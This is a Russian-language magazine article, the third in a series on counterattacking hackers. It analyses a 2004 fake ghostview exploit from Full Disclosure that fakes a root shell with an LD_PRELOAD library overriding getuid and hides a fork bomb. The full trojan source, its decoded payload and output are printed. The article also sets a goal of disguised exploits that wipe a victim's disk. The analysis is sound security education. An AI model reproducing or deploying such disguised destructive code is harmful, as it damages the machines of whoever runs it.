Продолжение: часть
первая
, часть
вторая
.

Напомню, что мы пытаемся создать эксплоит,
который будучи запущенным на машине хакера
потребит все ее ресурсы. 

Первым нашим примером в борьбе против
нападающего будет случай 2004 года, попытка
обмануть секьюрити сообщество при помощи
поддельного эксплоита. В том году в
рассылке Full Disclosure в Августе было
опубликовано два письма, касающихся мнимой
уязвимости в ghostview. Первое сообщение было
опубликовано человеком под именем Hugo Vazquez
Carapez, он уже несколько раз публиковал
сообщения в рассылке. Обычные пользователи
не должны были заметить ничего странного —
где-то уже слышимое имя, еще одна уязвимость
в его портфолио… Второе письмо так же
принадлежало руке Хьюго, однако в этом
случае оно было как бы ответом на
уязвимость одного известного писателя
эксплоитов под именем Zen-Parsec. Более тонкий
ход, согласись. Выглядело оно так:

From: Hugo Vazquez Carapez (infohackinghush.com)
Date: Wed Aug 04 2004 — 06:46:10 CDT

zen-parse ZP! told me that he discovered this vulnerability first… 
Infohacking was missinformated… so we apologyze this mistake  
Anyways you can still enjoy with my leet exploit 

В одном из сообщения содержался эксплоит:

1 #include <,stdio.h>
2 #include 
3 #include 

4 char hellc0de[] = «\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65»
5 «\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74»
6 «\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30»
7 «\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20»
8 «\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74»
9 «\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75»
10 «\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh»;

11 int main()
12 
13 FILE *fp;
14 char *offset;
15 fp=fopen(«/tmp/own.c»,»w»);
16 fprintf(fp,»%s»,hellc0de);
17 fclose(fp);

18 system(«gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c»);
19 if (fork() == 0) {
20 sleep(10); while (1) { fork(); offset=malloc(512); }
21 exit(0);
22 }
23 system(«LD_PRELOAD=/tmp/own.so /bin/sh»);
24 return 0;
25 }

По идее после запуска эксплоита, если
выполняется PDF или postscript документ, вступает
в действие код атакующего. Ленивый
атакующий вряд ли увидит в эксплоите что-либо
неправильное. Или вы можете обнаружить
ошибку? Можете? Видимо нет… Это еще один
пример социальной инженерии: знакомое имя
снижает внимательность и подробный анализ
сводится к поверхностному осмотру.

На самом же деле структура эксплоита
довольно необычна. Более того, команды,
передаваемые шеллу, довольно странны: зачем
нам компилировать hellc0de если он записан в
файл? Если преобразовать код в текст, то
можно увидеть следующее:

(gdb) x/s hellc0de 

0x8049880 : «int getuid() { return 0; }\nint geteuid() { return 0; }
\nint getgid() { return 0; }\nint getegid() { return 0; }\n»

Видно, что код переопределяет известные
функции библиотеки libc. Следовательно, когда
управление доходит до 23 строчки, появляется
шелл:

test@batman:~/src$ ./gvex
sh-3.00# id
uid=0(root) gid=0(root) groups=100(users)

Прекрасно, мы получили рутовский шелл.
Однако если посмотреть ближе на исходник,
то и становиться видна главная бомба —
закладка fork. Запускающий эксплоит верит,
что у него рут доступ из-за замены getuid() и
других функций, в то время как он попытается
исследовать свое новое окружение будут
запущены новые процессы при помощи fork()…

Это довольно классический пример, можно
придумать и более тонкие пути для
исчерпания ресурсов нападающего. Например
поддельный эксплоит мог исчерпать все
файловые дескрипторы, сокеты на компьютере
атакующего.

Уничтожение атакующего

На данном этапе наша цель создать невинно
выглядящий эксплоит, который будучи
использованным приведет в негодность
машину на которой его запускают, например
сотрет все данные с винчестера. Одна из
побочных задач — сделать эксплоит
максимально реальным, достоверно
выглядящим, что бы его работоспособность ни
у кого не вызывала сомнений. 

В качестве примера мы опять возьмем уже
существующий псевдо-эксплоит против sudo,
опубликованный в Июле 2005 года. Это эксплоит
совмещает в себе как хороший пример кодинга,
так и полезный пример использования
социальной инженерии. Во-первых выбрана
программа, которая имела н6есколько
уязвимостей в прошлом. Во-вторых, при
описании эксплоита было использовано много
страшных слов типа "military," "grsec/PaX enabled,"
"undisclosed bug," "root privileges", "sebek" и
ряд других + хорошая история перехвата
эксплоита, что должно было ввести
начинающих хакеров в священный трепет…

Продолжение:

Атакуй атакующего! №4

Источник: http://www.securityfocus.com/

 

Оставить мнение

Check Also

Мошенничество по воздуху. Разбираем возможность Cryptogram Replay Attack в Apple Pay

Задача платежной системы — списать нужную сумму в пользу продавца со счета верное число ра…